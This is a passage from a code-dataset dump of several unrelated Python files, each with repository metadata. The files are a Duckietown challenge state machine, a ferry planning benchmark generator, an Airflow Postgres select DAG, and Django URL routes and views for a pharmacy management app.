'SUCCESS'\nSTATE_FAILED = 'FAILED'\n\nALLOWED_CONDITION_TRIGGERS = ChallengesConstants.ALLOWED_JOB_STATUS\n\nallowed_permissions = ['snoop', 'change', 'moderate', 'grant']\n\n\nclass ChallengeStep(object):\n def __init__(self, name, title, description, evaluation_parameters,\n features_required):\n self.name = name\n self.title = title\n self.description = description\n check_isinstance(evaluation_parameters, dict)\n self.evaluation_parameters = evaluation_parameters\n check_isinstance(features_required, dict)\n self.features_required = features_required\n\n def as_dict(self):\n data = {}\n data['title'] = self.title\n data['description'] = self.description\n data['evaluation_parameters'] = self.evaluation_parameters\n data['features_required'] = self.features_required\n return data\n\n @staticmethod\n def from_yaml(name, data):\n title = data['title']\n description = data['description']\n evaluation_parameters = data['evaluation_parameters']\n features_required = data['features_required']\n\n return ChallengeStep(name, title, description, evaluation_parameters,\n features_required)\n\n\nTransition = namedtuple('Transition', 'first condition second')\nfrom datetime import datetime\n\n\nclass InvalidSteps(Exception):\n pass\n\n\nclass ChallengeTransitions(object):\n def __init__(self, transitions, steps):\n self.transitions = []\n self.steps = steps\n for first, condition, second in transitions:\n assert first == STATE_START or first in self.steps, first\n assert second in [STATE_ERROR, STATE_FAILED, STATE_SUCCESS] or second in self.steps, second\n assert condition in ALLOWED_CONDITION_TRIGGERS, condition\n self.transitions.append(Transition(first, condition, second))\n\n def get_next_steps(self, status):\n \"\"\" status is a dictionary from step ID to\n status.\n\n It contains at the beginning\n\n START: success\n\n Returns a list of steps.\n\n If the list is empty, then we are done\n\n \"\"\"\n dclogger.info('Received status = %s' % status)\n assert isinstance(status, dict)\n assert STATE_START in status\n assert status[STATE_START] == 'success'\n status = dict(**status)\n for k, ks in list(status.items()):\n if k != STATE_START and k not in self.steps:\n msg = 'Ignoring invalid step %s -> %s' % (k, ks)\n dclogger.error(msg)\n status.pop(k)\n if ks not in ChallengesConstants.ALLOWED_JOB_STATUS:\n msg = 'Ignoring invalid step %s -> %s' % (k, ks)\n dclogger.error(msg)\n status.pop(k)\n\n to_activate = []\n for t in self.transitions:\n if t.first in status and status[t.first] == t.condition:\n dclogger.debug('Transition %s is activated' % str(t))\n\n like_it_does_not_exist = [ChallengesConstants.STATUS_ABORTED]\n if t.second in status and status[t.second] not in like_it_does_not_exist:\n dclogger.debug('Second %s already activated (and in %s)' % (t.second, status[t.second]))\n else:\n if t.second in [STATE_ERROR, STATE_FAILED, STATE_SUCCESS]:\n dclogger.debug('Finishing here')\n return True, t.second.lower(), []\n else:\n\n to_activate.append(t.second)\n\n dclogger.debug('Incomplete; need to do: %s' % to_activate)\n return False, None, to_activate\n\n\nclass ChallengeDescription(object):\n def __init__(self, name, title, description, protocol,\n date_open, date_close, steps, roles, transitions):\n self.name = name\n self.title = title\n self.description = description\n self.protocol = protocol\n self.date_open = date_open\n check_isinstance(date_open, datetime)\n check_isinstance(date_close, datetime)\n self.date_close = date_close\n self.steps = steps\n self.roles = roles\n\n for k, permissions in self.roles.items():\n if not k.startswith('user:'):\n msg = 'Permissions should start with \"user:\", %s' % k\n raise InvalidChallengeDescription(msg)\n p2 = dict(**permissions)\n for perm in allowed_permissions:\n p2.pop(perm, None)\n if p2:\n msg = 'Unknown permissions: %s' % p2\n raise InvalidChallengeDescription(msg)\n\n self.first_step = None\n self.ct = ChallengeTransitions(transitions, list(self.steps))\n\n def get_steps(self):\n return self.steps\n\n def get_next_steps(self, status):\n return self.ct.get_next_steps(status)\n\n @staticmethod\n def from_yaml(data):\n try:\n name = data['challenge']\n title = data['title']\n description = data['description']\n protocol = data['protocol']\n date_open = data['date-open']\n date_close = data['date-close']\n\n roles = data['roles']\n transitions = data['transitions']\n steps = data['steps']\n Steps = {}\n for k, v in steps.items():\n Steps[k] = ChallengeStep.from_yaml(name, v)\n\n return ChallengeDescription(name, title, description,\n protocol, date_open, date_close, Steps,\n roles=roles, transitions=transitions)\n except KeyError as e:\n msg = 'Missing config %s' % e\n raise_wrapped(InvalidChallengeDescription, e, msg)\n\n def as_dict(self):\n data = {}\n data['challenge'] = self.name\n data['title'] = self.title\n data['description'] = self.description\n data['protocol'] = self.protocol\n data['date-open'] = self.date_open\n data['date-close'] = self.date_close\n data['roles'] = self.roles\n data['transitions'] = []\n for t in self.ct.transitions:\n tt = [t.first, t.condition, t.second]\n data['transitions'].append(tt)\n data['steps'] = {}\n for k, v in self.steps.items():\n data['steps'][k] = v.as_dict()\n return data\n\n def as_yaml(self):\n return yaml.dump(self.as_dict())\n\n\n\n", "repo_name": "manfreddiaz/duckietown-challenges", "sub_path": "src/duckietown_challenges/challenge.py", "file_name": "challenge.py", "file_ext": "py", "file_size_in_byte": 6794, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "duckietown_challenges.ChallengesConstants.ALLOWED_JOB_STATUS", "line_number": 17, "usage_type": "attribute"}, {"api_name": "duckietown_challenges.ChallengesConstants", "line_number": 17, "usage_type": "name"}, {"api_name": "contracts.check_isinstance", "line_number": 28, "usage_type": "call"}, {"api_name": "contracts.check_isinstance", "line_number": 30, "usage_type": "call"}, {"api_name": "collections.namedtuple", "line_number": 52, "usage_type": "call"}, {"api_name": "duckietown_challenges.ChallengesConstants.ALLOWED_JOB_STATUS", "line_number": 93, "usage_type": "attribute"}, {"api_name": "duckietown_challenges.ChallengesConstants", "line_number": 93, "usage_type": "name"}, {"api_name": "duckietown_challenges.ChallengesConstants.STATUS_ABORTED", "line_number": 103, "usage_type": "attribute"}, {"api_name": "duckietown_challenges.ChallengesConstants", "line_number": 103, "usage_type": "name"}, {"api_name": "contracts.check_isinstance", "line_number": 126, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 126, "usage_type": "argument"}, {"api_name": "contracts.check_isinstance", "line_number": 127, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 127, "usage_type": "argument"}, {"api_name": "contracts.raise_wrapped", "line_number": 174, "usage_type": "call"}, {"api_name": "yaml.dump", "line_number": 195, "usage_type": "call"}]} {"seq_id": "71257915452", "text": "from benchmarking_utils import execute_command\nimport logging\n\n\ndef get_next_config(starting_cars: int = 1,\n max_cars: int = 1,\n starting_locations: int = 1,\n max_locations: int = 1,\n out_folder: str = \".\",\n starting_instance_id: int = 1,\n max_instance_id: int = 100,\n seed: int = 42):\n instance_id, steps = starting_instance_id, 0\n num_instances = float(1+max_instance_id-instance_id)\n step_cars = float(1+max_cars-starting_cars) / num_instances\n step_locations = float(1+max_locations-starting_locations) / num_instances\n while instance_id <= max_instance_id:\n cars = int(starting_cars + step_cars * steps)\n locations = int(starting_locations + step_locations * steps)\n print(f\"c={cars}; l={locations}\")\n yield f\"PYTHONHASHSEED=0 python ferry.py -c {cars} -l {locations} -o {out_folder} -i {instance_id} --seed {seed}\"\n # Update input values for the next instance\n steps += 1\n instance_id += 1\n seed += 1\n # raise StopIteration()\n\n\ndef main():\n starting_cars = [1, 2, 10, 200]\n max_cars = [20, 20, 100, 1000]\n starting_locations = [5, 5, 20, 100]\n max_locations = [15, 15, 50, 500]\n output_folders = [\"training/easy\", \"testing/easy\", \"testing/medium\", \"testing/hard\"]\n max_ids = [99, 30, 30, 30]\n init_ids = [12, 1, 1, 1] # 11 base cases\n seeds = [42, 1007, 1007, 1007]\n for experiment in range(4):\n # print(output_folders[experiment])\n for command in get_next_config(\n starting_cars=starting_cars[experiment],\n max_cars=max_cars[experiment],\n starting_locations=starting_locations[experiment],\n max_locations=max_locations[experiment],\n out_folder=output_folders[experiment],\n starting_instance_id=init_ids[experiment],\n max_instance_id=max_ids[experiment],\n seed=seeds[experiment]):\n ret_code = execute_command(command=command, shell=True)\n logging.info(f\"Executed command={command}; result={ret_code}\")\n\n # Copy base cases\n command = \"cp base_cases/* training/easy/\"\n ret_code = execute_command(command=command, shell=True)\n logging.info(f\"Executed command={command}; result={ret_code}\")\n\n\nif __name__ == \"__main__\":\n main()\n", "repo_name": "ipc2023-learning/benchmarks", "sub_path": "ferry/generate_all.py", "file_name": "generate_all.py", "file_ext": "py", "file_size_in_byte": 2436, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "benchmarking_utils.execute_command", "line_number": 49, "usage_type": "call"}, {"api_name": "logging.info", "line_number": 50, "usage_type": "call"}, {"api_name": "benchmarking_utils.execute_command", "line_number": 54, "usage_type": "call"}, {"api_name": "logging.info", "line_number": 55, "usage_type": "call"}]} {"seq_id": "37869351079", "text": "\"\"\"Подключение необходимых библиотек.\"\"\"\nfrom datetime import datetime\n\nfrom airflow import AirflowException\nfrom airflow import DAG\nfrom airflow.providers.postgres.hooks.postgres import PostgresHook\nfrom airflow.models import Variable\nfrom airflow.operators.empty import EmptyOperator\nfrom airflow.operators.python import PythonOperator\n\n\ndef run_select_n_rows_query(table: str, conn, n_rows: int):\n \"\"\"\n Выводит указанное количество первых строк выбранной таблицы\n :param table: наименование таблицы\n :param conn: конфигурационные данные соединения\n :param n_rows: количество выводимых строк\n \"\"\"\n cursor = conn.cursor()\n\n select = f\"SELECT * FROM {table}\"\n cursor.execute(select)\n records = cursor.fetchmany(n_rows)\n conn.commit()\n print(f\"Fetching {n_rows} rows\")\n for row in records:\n print(row)\n\n cursor.close()\n conn.close()\n\n\ndef select_data(table: str, conn_id, n_rows: int=10):\n \"\"\"\n В случае успещного подключения выполняет вложенную функцию с запросом к базе данных\n :param table: наименование таблицы\n :param conn: конфигурационные данные соединения\n :param n_rows: количество выводимых строк\n \"\"\"\n try:\n pg_hook = PostgresHook(postgres_conn_id=conn_id)\n conn = pg_hook.get_conn()\n print(\"Postgress connect success\")\n except Exception as error:\n raise AirflowException(f\"ERROR: Connect error: {error}\") from error\n try:\n run_select_n_rows_query(table, conn, n_rows)\n except Exception as error:\n raise AirflowException(f\"ERROR: Connect error: {error}\") from error\n\n\nconfig = Variable.get(\"select_n_rows\", deserialize_json=True)\n\nwith DAG('select_data', description=\"Select some data from source\",\n schedule_interval=\"@once\",\n start_date=datetime(2023, 7, 12),\n catchup=False,\n tags=[\"learning\"]) as dag:\n\n start_step = EmptyOperator(task_id=\"start_step\")\n\n select_data = PythonOperator(task_id=\"select_data\",\n python_callable=select_data,\n op_args=[f\"{config['schema']}.{config['table']}\",\n \"sources_id\",\n int(f\"{config['rows_number']}\")])\n\n end_step = EmptyOperator(task_id=\"end_step\")\n\n start_step >> select_data >> end_step\n", "repo_name": "asetimankulov/internship", "sub_path": "Airflow/dags/select_data_dag.py", "file_name": "select_data_dag.py", "file_ext": "py", "file_size_in_byte": 2659, "program_lang": "python", "lang": "ru", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "airflow.providers.postgres.hooks.postgres.PostgresHook", "line_number": 41, "usage_type": "call"}, {"api_name": "airflow.AirflowException", "line_number": 45, "usage_type": "call"}, {"api_name": "airflow.AirflowException", "line_number": 49, "usage_type": "call"}, {"api_name": "airflow.models.Variable.get", "line_number": 52, "usage_type": "call"}, {"api_name": "airflow.models.Variable", "line_number": 52, "usage_type": "name"}, {"api_name": "airflow.DAG", "line_number": 54, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 56, "usage_type": "call"}, {"api_name": "airflow.operators.empty.EmptyOperator", "line_number": 60, "usage_type": "call"}, {"api_name": "airflow.operators.python.PythonOperator", "line_number": 62, "usage_type": "call"}, {"api_name": "airflow.operators.empty.EmptyOperator", "line_number": 68, "usage_type": "call"}]} {"seq_id": "38444637109", "text": "from django.urls import path\nfrom . import views\n\napp_name = 'core'\nurlpatterns = [\n path('', views.HomeView.as_view(), name='homepage'),\n path('product//', views.ProductView.as_view(), name='product'),\n path('update_item/', views.updateItem, name='update_item'),\n path('process_order/', views.processOrder, name='process_order'),\n path('category/', views.categories, name='categories'),\n path('category//', views.category , name='category'),\n path('cart/', views.cart, name='cart'),\n path('checkout/', views.checkout, name='checkout'),\n path('build/', views.build, name='buildpc'),\n path('load_cpu/', views.load_cpu, name='ajax_load_cpu'),\n path('load_ram/', views.load_ram, name='ajax_load_ram'),\n\n path('recommend/', views.recommend, name='recommend'),\n path('recommend/crawl/', views.crawl, name='crawl'),\n # Page\n path('about/', views.about, name='about'),\n path('contact/', views.contact, name='contact'),\n path('returnpolicy/', views.returnpolicy, name='returnpolicy'),\n\n\n # Dashboard\n path('dashboard/', views.dashboard, name='dashboard'),\n path('dashboard/product/', views.product, name='product'),\n path('dashboard/product/add/', views.addproduct, name='add_product'),\n path('dashboard/product/delete/', views.deleteprod, name='delete_product'),\n path('dashboard/product/edit/', views.editprod, name='edit_product'),\n path('dashboard/product/update/', views.updateprod, name='update_product'),\n path('dashboard/product/add/add_by_category', views.add_by_category, name='add_by_category'),\n\n path('dashboard/orders/', views.orders, name='all_orders'),\n path('dashboard/orders/delete/', views.delete_order, name='delete_order'),\n path('dashboard/orders/', views.view_order, name='view_order'),\n path('dashboard/orders/update/', views.update_status, name='update_status'),\n]", "repo_name": "hoangnammkt/EcommerceDjango", "sub_path": "core/urls.py", "file_name": "urls.py", "file_ext": "py", "file_size_in_byte": 1938, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "django.urls.path", "line_number": 6, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 7, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 8, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 9, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 10, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 11, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 12, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 13, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 14, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 15, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 16, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 18, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 19, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 21, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 22, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 23, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 27, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 28, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 29, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 30, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 31, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 32, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 33, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 35, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 36, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 37, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 38, "usage_type": "call"}]} {"seq_id": "20325085217", "text": "from django.shortcuts import render, redirect\nfrom django.contrib.auth.forms import UserCreationForm, AuthenticationForm\nfrom django.contrib.auth import authenticate, login, logout\nfrom .models import funcionario, cliente, fornecedor\nfrom financeiro.models import ordem_de_venda\nfrom controle_estoque.models import lote_medicamento\nfrom cadastro_medicamentos.models import medicamento\nfrom django.contrib.auth.models import User\nfrom django.db.models import F\nimport json\nimport pandas as pd\n\n\nfrom django.http.response import HttpResponse\nfrom datetime import timedelta\nimport xlwt\nfrom django.db.models import Sum, Count\n\nfrom django.db.models.functions import (ExtractDay, ExtractMonth, ExtractQuarter, ExtractWeek,ExtractIsoWeekDay, ExtractWeekDay, ExtractIsoYear, ExtractYear)\nfrom django.db.models.fields import DecimalField, FloatField, IntegerField\nfrom django.db.models import F, ExpressionWrapper\nfrom datetime import datetime\nfrom datetime import date\n\n# Create your views here.\n\ndef checar_cargo(request):\n user = request.user\n if user.is_anonymous:\n return True, redirect('/')\n else:\n cargo = funcionario.objects.get(user=request.user).cargo\n if cargo == 'Caixa':\n return 1, render(request,'sem_permissao.html',{'cargo':cargo})\n elif cargo == 'Gerente Financeiro':\n return 2, render(request,'sem_permissao.html',{'cargo':cargo})\n elif cargo == 'Balconista':\n return 3, render(request,'sem_permissao.html',{'cargo':cargo})\n return False, False\n\ndef deslogar(request):\n logout(request)\n return redirect('/')\n\ndef pagina_principal(request):\n try:\n user = request.user\n func = funcionario.objects.filter(user = user)[0]\n cargo = func.cargo\n return render(request,'pessoas/inicio.html', {'nome_funcionario':func.nome_funcionario,'cargo':cargo})\n except:\n return failed_login(request)\n\ndef authentication(request):\n if request.user.is_authenticated:\n return sucessful_login(request)\n elif request.method == 'POST':\n post = request.POST\n username = post.get('usuario', default=None)\n password = post.get('senha', default=None)\n user = authenticate(username=username,password=password)\n if user is not None:\n login(request,user)\n return sucessful_login(request)\n else:\n return failed_login(request,falha=True)\n else:\n return failed_login(request,falha=False)\n\ndef sucessful_login(request):\n return redirect('pagina_principal')\n\ndef failed_login(request,falha=False):\n return render(request,'login_page.html',{'falha':falha})\n\ndef cadastro_cliente(request): \n check, retorno = checar_cargo(request)\n if check==1 or check == 2:\n return retorno\n cargo = funcionario.objects.get(user=request.user).cargo \n sucesso=False \n if request.method == \"POST\":\n p = request.POST\n \n novocliente = cliente(\n nome_cliente = p.get(\"name\"), \n cpf = p.get(\"cpf\"), \n telefone = p.get(\"tel\"), \n data_nascimento = p.get(\"data_nasc\")\n )\n novocliente.save()\n sucesso=True\n \n return render(request,'pessoas/pagina_cadastro_cliente.html',{\"sucesso\":sucesso,'cargo':cargo})\n\ndef editar_cliente(request): \n check, retorno = checar_cargo(request)\n if check==1 or check == 2:\n return retorno\n cargo = funcionario.objects.get(user=request.user).cargo\n sucesso = False\n if request.user.is_authenticated:\n editar = False\n\n clientes_validos = cliente.objects.filter(ativo=True)\n cpf_cliente_validos = [x.cpf for x in clientes_validos]\n \n lista = cliente.objects.filter(ativo=True)\n \n busca = request.GET.get('buscacliente')\n if busca:\n editar = False\n lista = cliente.objects.filter(ativo=True,nome_cliente__icontains = busca)\n\n delete = request.GET.get('delete')\n \n if delete: \n teste = cliente.objects.filter(ativo=True,id_cliente = delete)\n teste.update(ativo = False)\n \n editando = request.GET.get('edit')\n if editando:\n editar = True\n lista = cliente.objects.filter(ativo=True,id_cliente = editando)\n\n compras = request.GET.get('compras')\n if compras:\n return compras_cliente(request,compras)\n\n pessoa_cpf = request.POST.get(\"relascliente\")\n if pessoa_cpf:\n return gerar_relatorio_pessoa(request, pessoa_cpf)\n\n if request.method == \"POST\":\n p = request.POST \n editarcliente = cliente.objects.filter(ativo=True,id_cliente=editando)\n \n nasc = p.get('data_nascimento')\n \n if(nasc== \"\"):\n nasc = editarcliente.first().data_nascimento\n \n editarcliente.update(\n nome_cliente = p.get('nome_cliente'),\n telefone = p.get('telefone'),\n data_nascimento = nasc,\n \n )\n sucesso=True \n\n return render(request,'pessoas/edicao_cliente.html',{'lista':lista,'editar':editar,'sucesso':sucesso,'cargo':cargo, \"cpf_cliente_validos\":cpf_cliente_validos})\n else:\n return failed_login(request)\n\ndef cadastro_usuario(request):\n check, retorno = checar_cargo(request)\n if check:\n return retorno\n cargo = funcionario.objects.get(user=request.user).cargo\n sucesso=False\n if request.method == \"POST\":\n p = request.POST\n novousuario = User.objects.create_user(username=p.get(\"usuario\"),password=p.get(\"senha\"))\n novousuario.save()\n novofuncionario = funcionario(\n user = novousuario,\n nome_funcionario = p.get('nome_funcionario'),\n cpf = p.get('cpf'),\n telefone = p.get('telefone'),\n cargo = p.get('cargo'),\n data_de_admissao = p.get('data_de_admissao'),\n )\n print(novofuncionario.data_de_admissao)\n novofuncionario.save()\n sucesso=True\n\n return render(request,'pessoas/pagina_cadastro_de_usuario.html',{'sucesso':sucesso,'cargo':cargo})\n\ndef editar_usuario(request): \n check, retorno = checar_cargo(request)\n if check:\n return retorno\n cargo = funcionario.objects.get(user=request.user).cargo\n sucesso=False\n if request.user.is_authenticated:\n editar = False\n\n lista = funcionario.objects.all()\n \n busca = request.GET.get('buscacliente')\n if busca:\n editar = False\n lista = funcionario.objects.filter(nome_funcionario__icontains = busca)\n\n delete = request.GET.get('delete')\n data = request.GET.get('data_de_demissao')\n if delete:\n print(\"olha aki\")\n teste = funcionario.objects.filter(data_de_demissao__isnull=True,id = delete)\n fired_user = teste[0].user\n fired_user.is_active = False\n fired_user.save()\n teste.update(data_de_demissao = data)\n \n editando = request.GET.get('edit')\n if editando:\n editar = True\n lista = funcionario.objects.filter(id = editando)\n\n if request.method == \"POST\":\n p = request.POST \n user = request.user\n editarfuncionario = funcionario.objects.filter(id=editando)\n senha_nova = p.get('senha',None)\n senha_antiga = p.get('senha_antiga')\n if senha_nova != None:\n if user.check_password(senha_antiga):\n user.set_password(senha_nova)\n user.save()\n \n admissao = p.get('data_de_admissao')\n demissao = p.get('data_de_demissao')\n if(admissao== \"\"):\n admissao = editarfuncionario.first().data_de_admissao\n if(demissao== \"\"):\n demissao = editarfuncionario.first().data_de_demissao\n\n editarfuncionario.update(\n nome_funcionario = p.get('nome_funcionario'),\n telefone = p.get('telefone'),\n cargo = p.get('cargo'),\n data_de_admissao = admissao,\n data_de_demissao= demissao\n )\n sucesso=True\n\n return render(request,'pessoas/pagina_edicao_de_usuario.html',{'lista':lista,'editar':editar,'sucesso':sucesso,'cargo':cargo})\n else:\n return failed_login(request)\n\n\ndef cadastro_fornecedor(request):\n check, retorno = checar_cargo(request)\n if check==1:\n return retorno\n cargo = funcionario.objects.get(user=request.user).cargo\n sucesso=False\n if request.method == \"POST\":\n p = request.POST\n \n novofornecedor = fornecedor(\n nome_fornecedor = p.get(\"nome_fornecedor\"), \n cnpj = p.get(\"cnpj\"), \n telefone = p.get(\"telefone\"), \n )\n novofornecedor.save()\n sucesso=True\n \n return render(request,'pessoas/pagina_cadastro_fornecedor.html',{'sucesso':sucesso,'cargo':cargo})\n\n\ndef editar_fornecedor(request):\n check, retorno = checar_cargo(request)\n if check==1:\n return retorno\n cargo = funcionario.objects.get(user=request.user).cargo\n sucesso=False\n if request.user.is_authenticated:\n editar = False\n\n lista = fornecedor.objects.filter(ativo=True)\n \n busca = request.GET.get('buscafornecedor')\n if busca:\n editar = False\n lista = fornecedor.objects.filter(ativo=True,nome_fornecedor__icontains = busca)\n\n delete = request.GET.get('delete')\n if delete:\n teste = fornecedor.objects.filter(ativo=True,id_fornecedor = delete)\n teste.update(ativo=False)\n \n editando = request.GET.get('edit')\n if editando:\n editar = True\n lista = fornecedor.objects.filter(ativo=True,id_fornecedor = editando)\n\n if request.method == \"POST\":\n p = request.POST \n editarfornecedor = fornecedor.objects.filter(ativo=True,id_fornecedor=editando)\n\n editarfornecedor.update(\n nome_fornecedor= p.get('nome_fornecedor'),\n telefone = p.get('telefone'),\n )\n sucesso=True\n\n return render(request,'pessoas/pagina_edicao_de_fornecedor.html',{'lista':lista,'editar':editar,'sucesso':sucesso,'cargo':cargo})\n else:\n return failed_login(request)\n\ndef compras_cliente(request,id):\n check, retorno = checar_cargo(request)\n if check==1 or check == 2:\n return retorno\n cargo = funcionario.objects.get(user=request.user).cargo\n cliente_selecionado = cliente.objects.get(id_cliente=id)\n lista = ordem_de_venda.objects.filter(ativo=True,venda=True,id_cliente=cliente_selecionado)\n df = pd.DataFrame(list(lista.values()))\n df = df[['id_lote_medicamento_id','quantidade']]\n nomes = []\n for index,row in df.iterrows(): \n nomes.append(lote_medicamento.objects.get(id_lote_medicamento=row['id_lote_medicamento_id']).id_medicamento.nome_medicamento)\n df['nome_medicamento'] = nomes\n df = df.groupby(['nome_medicamento'])['quantidade'].sum().reset_index()\n df = df.sort_values(['quantidade'], ascending=False)\n \n \n\n return render(request, 'pessoas/compras_cliente.html', {\"lista\":df.to_dict('records'),'cargo':cargo,'cliente':cliente_selecionado})\n\ndef gerar_relatorio_pessoa(request, pessoa_cpf):\n \n id_pessoa = cliente.objects.filter(ativo=True, cpf = pessoa_cpf).\\\n values('nome_cliente', 'id_cliente')\n\n id = id_pessoa[0]['id_cliente']\n\n vendas = ordem_de_venda.objects.filter(ativo=True,venda=True, id_cliente = id). \\\n select_related('id_lote_medicamento', 'id_cliente').select_related('id_medicamento').\\\n values('id_lote_medicamento__id_medicamento__nome_medicamento'). \\\n annotate(quant = Sum('quantidade', output_Field = FloatField()), \\\n nCompras = Count('quantidade', output_Field = FloatField()), \\\n aux = ExpressionWrapper(F('percentual_desconto')*F('quantidade'), output_field=FloatField()), \\\n diaS = Sum(ExtractDay('data_de_venda')*F('quantidade'), output_Field = FloatField())). \\\n annotate(descS = Sum('aux')). \\\n annotate( avg = ExpressionWrapper( F('quant')/F('nCompras'), output_field=FloatField())). \\\n annotate( desc = ExpressionWrapper( F('descS')/F('quant'), output_field=FloatField())). \\\n annotate( dia = ExpressionWrapper( F('diaS')/F('quant'), output_field=FloatField())). \\\n order_by('quant')\n\n\n dt = datetime.now()\n \n response = HttpResponse(content_type = 'application/vnd.ms-excel')\n response['Content-Disposition'] = 'attachment; filename = Relatório de vendas - ' + id_pessoa[0]['nome_cliente'] + str(date(dt.year, dt.month, dt.day)) + '.xls'\n\n wb = xlwt.Workbook(encoding = 'utf-8')\n ws = wb.add_sheet('Pessoas')\n row_num = 0\n \n columns = ['id_lote_medicamento__id_medicamento__nome_medicamento', 'avg','dia', 'desc', 'quant' ]\n\n style = xlwt.XFStyle()\n font = xlwt.Font()\n font.bold = True\n style.font = font\n style_string = \"font: bold on; borders: bottom dashed\"\n style = xlwt.easyxf(style_string)\n \n ws.write(row_num,0, \"Medicamento\", style=style)\n ws.write(row_num,1, \"Média por compra\", style=style)\n ws.write(row_num,2, \"Dia médio\", style=style)\n ws.write(row_num,3, \"Desconto médio\", style=style)\n ws.write(row_num,4, \"Quantidade comprada\", style=style)\n \n\n for row in vendas:\n row_num +=1\n\n for col_num in range(len(columns)):\n \n ws.write(row_num, col_num, row[columns[col_num]])\n\n wb.save(response)\n return response", "repo_name": "nickolasbmm/farmacita", "sub_path": "farmacita/pessoas/views.py", "file_name": "views.py", "file_ext": "py", "file_size_in_byte": 13841, "program_lang": "python", "lang": "pt", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "78", "api": [{"api_name": "django.shortcuts.redirect", "line_number": 30, "usage_type": "call"}, {"api_name": "models.funcionario.objects.get", "line_number": 32, "usage_type": "call"}, {"api_name": "models.funcionario.objects", "line_number": 32, "usage_type": "attribute"}, {"api_name": "models.funcionario", "line_number": 32, "usage_type": "name"}, {"api_name": "django.shortcuts.render", "line_number": 34, "usage_type": "call"}, {"api_name": "django.shortcuts.render", "line_number": 36, "usage_type": "call"}, {"api_name": "django.shortcuts.render", "line_number": 38, "usage_type": "call"}, {"api_name": "django.contrib.auth.logout", "line_number": 42, "usage_type": "call"}, {"api_name": "django.shortcuts.redirect", "line_number": 43, "usage_type": "call"}, {"api_name": "models.funcionario.objects.filter", "line_number": 48, "usage_type": "call"}, {"api_name": "models.funcionario.objects", "line_number": 48, "usage_type": "attribute"}, {"api_name": "models.funcionario", "line_number": 48, "usage_type": "name"}, {"api_name": "django.shortcuts.render", "line_number": 50, "usage_type": "call"}, {"api_name": "django.contrib.auth.authenticate", "line_number": 61, "usage_type": "call"}, {"api_name": "django.contrib.auth.login", "line_number": 63, "usage_type": "call"}, {"api_name": "django.shortcuts.redirect", "line_number": 71, "usage_type": "call"}, {"api_name": "django.shortcuts.render", "line_number": 74, "usage_type": "call"}, {"api_name": "models.funcionario.objects.get", "line_number": 80, "usage_type": "call"}, {"api_name": "models.funcionario.objects", "line_number": 80, "usage_type": "attribute"}, {"api_name": "models.funcionario", "line_number": 80, "usage_type": "name"}, {"api_name": "models.cliente", "line_number": 85, "usage_type": "call"}, {"api_name": "django.shortcuts.render", "line_number": 94, "usage_type": "call"}, {"api_name": "models.funcionario.objects.get", "line_number": 100, "usage_type": "call"}, {"api_name": "models.funcionario.objects", "line_number": 100, "usage_type": "attribute"}, {"api_name": "models.funcionario", "line_number": 100, "usage_type": "name"}, {"api_name": "models.cliente.objects.filter", "line_number": 105, "usage_type": "call"}, {"api_name": "models.cliente.objects", "line_number": 105, "usage_type": "attribute"}, {"api_name": "models.cliente", "line_number": 105, "usage_type": "name"}, {"api_name": "models.cliente.objects.filter", "line_number": 108, "usage_type": "call"}, {"api_name": "models.cliente.objects", "line_number": 108, "usage_type": "attribute"}, {"api_name": "models.cliente", "line_number": 108, "usage_type": "name"}, {"api_name": "models.cliente.objects.filter", "line_number": 113, "usage_type": "call"}, {"api_name": "models.cliente.objects", "line_number": 113, "usage_type": "attribute"}, {"api_name": "models.cliente", "line_number": 113, "usage_type": "name"}, {"api_name": "models.cliente.objects.filter", "line_number": 118, "usage_type": "call"}, {"api_name": "models.cliente.objects", "line_number": 118, "usage_type": "attribute"}, {"api_name": "models.cliente", "line_number": 118, "usage_type": "name"}, {"api_name": "models.cliente.objects.filter", "line_number": 124, "usage_type": "call"}, {"api_name": "models.cliente.objects", "line_number": 124, "usage_type": "attribute"}, {"api_name": "models.cliente", "line_number": 124, "usage_type": "name"}, {"api_name": "models.cliente.objects.filter", "line_number": 136, "usage_type": "call"}, {"api_name": "models.cliente.objects", "line_number": 136, "usage_type": "attribute"}, {"api_name": "models.cliente", "line_number": 136, "usage_type": "name"}, {"api_name": "django.shortcuts.render", "line_number": 151, "usage_type": "call"}, {"api_name": "models.funcionario.objects.get", "line_number": 159, "usage_type": "call"}, {"api_name": "models.funcionario.objects", "line_number": 159, "usage_type": "attribute"}, {"api_name": "models.funcionario", "line_number": 159, "usage_type": "name"}, {"api_name": "django.contrib.auth.models.User.objects.create_user", "line_number": 163, "usage_type": 